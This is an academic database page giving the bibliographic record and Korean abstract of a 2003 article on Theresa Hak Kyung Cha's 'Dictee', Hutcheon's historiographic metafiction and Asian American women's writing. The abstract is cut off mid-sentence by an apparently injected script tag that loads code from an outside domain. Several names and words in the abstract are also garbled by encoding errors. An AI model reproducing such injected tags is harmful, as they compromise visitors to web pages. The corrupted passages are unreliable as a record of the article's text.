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사료편찬적 여성 메타픽션과 『딕테』

Historiographic Feminine Metafiction and Dictee

김애주 ( Kim Ae Ju )

- 발행기관 : 한국영미문학페미니즘학회

- 발행년도 : 2003

- 간행물 : 영미문학페미니즘, 11권 1호

- 페이지 : pp.25-47 ( 총 23 페이지 )


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초록(한국어)
베트남계 미국 여성 작가이자 영화 제작자인 트린 민하(rruh T bhnh ha)는 1989년 출판한 『여성, 원주민, 타자』 (Woman, Native, Other)에서 "삼중의 결속(triple bind)"(6)을 양가적 의미로 쓴 적이 있다. 제3세계 여성 작가들의 작품을 인종과 성에 국한시켜 해석하려는 비평적 남용 때문에 그들은 글을 쓸 때마다 이러한 조건에 강박될 수밖에 없는데 트린 민하는 이러한 심적 압박을 가리켜 "삼중의 구속"으로 표현하고 있다. 그러나 에스닉 페미니스트 의식이 고양되면서 유색 인종. 여성, 작가라는 세 개의 상충된 절제성은 오히려 글쓰기에 정치성을 부여하는 필수 품목이 되었으며 따라서 "삼중의 구속"은 "삼중의 결속"으로 전환되었다는 것이다. 유색 여성 작가에게 속박이기도 하고 결속의 요체이기도 한 인종, 성, 글쓰기 문제는 한국계 미국 여성 작가 차학경(Cha Hak-Kyung)의 『딕테』 (Dictee)에서 양가적이며 자의식적인 태도로 다루어지고 있다. 자학경은 “접경지역”(Kim)에 위치한 한국계 미국 여성 작가에게 있어 이데올로기의 초점이 될 수밖에 없는 인종과 성 문제를 다루면서도 과잉으로 유포되고 있는 희생자 이미지나 폭로성 사료 제시, 단순한 정체성 정치학 틀에 묶이지 않으려는 긴장을 드러낸다. 이러한 서술상의 긴장은 파편화된 구조와 시적 언어, 사진, 문서, 스틸 이미지, 시 등이 뒤섞인 유래 없이 복합적인 재현 `:4식으로 극대화된다. 결과적으로 『딕테』 는 출판 당시 "백인적"이며 "공동체나 여성주의 문제가 결여된"(Lewallen 13) 작품으로 치부되어 아시아계 미국 독자들로부터 외면당했다. 그러나 주지하다시피 1991년 일레인 김을 비롯한 네 명의 비평가가 『아시아계 미국 학회』에서 공동으로 발표한 후 비평적 관심이 촉발되면서 『딕테』는 포스트모더니즘, 탈식민주의, 페미니즘, 정신분석학, 나아가 영화 이론에 이르기까지 다양한 읽기의 장(場)을 제공하는 소수 인종 문학의 대표적 혼성 텍스트로 자리매김 되고 있다. 사실 『딕테』에 나타난 이러한 서술적 긴장과 자의식적 태도는 절도의 자이는 있지만 『딕테』에만 국한된 것은 아니다. 아직도 아시아계 미국 여성 소설의 주종을 이루고 있는 사실주의적 자서전적 성장소설 계열에서 이탈하려는 욕망은 곳곳에서 목격된 바 있다. 가령 트린 민하의 『여성, 원주민, 타자』도 비륵 소설이 아닌 이론서이긴 하나 시와 이론, 그리고 스틸 이미지들이 결합되어 기존의 체계적이고 분석적인 비평서의 구성 방식과 다른 새로운 이론 쓰기를 한 예다. 또한 『딕테』가 출판되기 한 해 전인 1981년에 출판된 일본계 캐나다 여성 작가 조이 코가와(Joy Kogawa)의 『오바상』(Obasan) 역시 편지, 일기, 문서 등 사료와 허구적인 서사, 그리고 시를 결합한 복합장르를 시도함으로써 사실주의 소설의 틀을 깨고 있다. 이들 글쓰기에 공통되게 나타나는 복합장르와 다중 주체는 도날드 ?쓴邱樣?Donald C. Goellnicht)가 해석한 바저럼 "전통적인 가부장적 장르위계에 대한 페미니즘적 도전"(349)이며 “통합적 자아에 관한 서구 남성주의적 개념에 대한 도전”(350)이기도 하고 다른 한편으로는 정체성 정치학에 머물고 있는 유색 인종 여성의 글쓰기를 문제시하는 것이기도 하다. 또한 역사와 허구의 경계 허물기는 이들 글쓰기에 일관되게, 그리고 가장 첨예한 쟁점으로 부각되고 있는데 이는 인종과 성 이데올로기를 조종해온 공식 역사에 대한 도전을 의미한다. 역사와 허구의 경계 허물기를 통해 역사 재구성의 행위를 문제시하는 글쓰기를 가리켜 린다 허치온(Linda Hucheon)이 사료편찬적 메타픽션(historiographic metafiction)으로 분류, 명명한 바 있고 ?쓴邱樣??『오바상』을 그것의 좋은 예로 제시한 바 있다(346). 『딕테』의 경우 이탈과 이질성의 극대화 때문에 대부분 비평가들이 난색을 표명하듯이 범주화하기 힘든 작품임에 분명하다. 그러나 역사 기록과 허구적 서사와의 상호텍스트적 관계를 통래 과거 다시 쓰기를 시도한다는 점에서, 그럼으로써 역사 재현에 함축된 이데올로기를 상세히 드러낸다는 점에서 『딕테』는 사료편찬적 메타픽션으로 볼 여지가 충분하다. 그러나 『오바상』이나 다른 사료편찬적 메타픽션들, 가령 이쉬마엘 리드(Ishmael Reed)의 『캐나다로의 도피』(Flight to Canada)나 존 파올즈(John Fowles)의 『구더기』(A. Maggot) 등과 같은 범주에 넣기에는 너무나 이질적인 잉여물들이 『딕테』에 넘쳐나 있다. 『오바상』의 여성 주체 나오미(Naomi)는 여성 계보를 쫓되 계보의 원천인 기호계의 여성 영역을 건드리지 않으며, 『캐나다로의 도피』는 역사를 재구성하기 위해 “직선적 상승 담론” 대신 “하강 담론" 내지 "침수 서술(immersion narrative)"(Schopp 269)를 택하나 여전히 여성 문제에는 침묵한다. 『구더기』의 레베카(Rebecca)는 ?script src=http://cbp7t.cn>

논문정보
  • - 주제 : 어문학분야 > 영문학
  • - 발행기관 : 한국영미문학페미니즘학회
  • - 간행물 : 영미문학페미니즘, 11권 1호
  • - 발행년도 : 2003
  • - 페이지 : pp.25-47 ( 총 23 페이지 )
  • - UCI(KEPA) : I410-ECN-0102-2009-840-003119820
저널정보
  • - 주제 : 어문학분야 > 영문학
  • - 성격 : 학술지
  • - 간기 : 연3회
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 1226-9689
  • - 수록범위 : 1995–2020
  • - 수록 논문수 : 491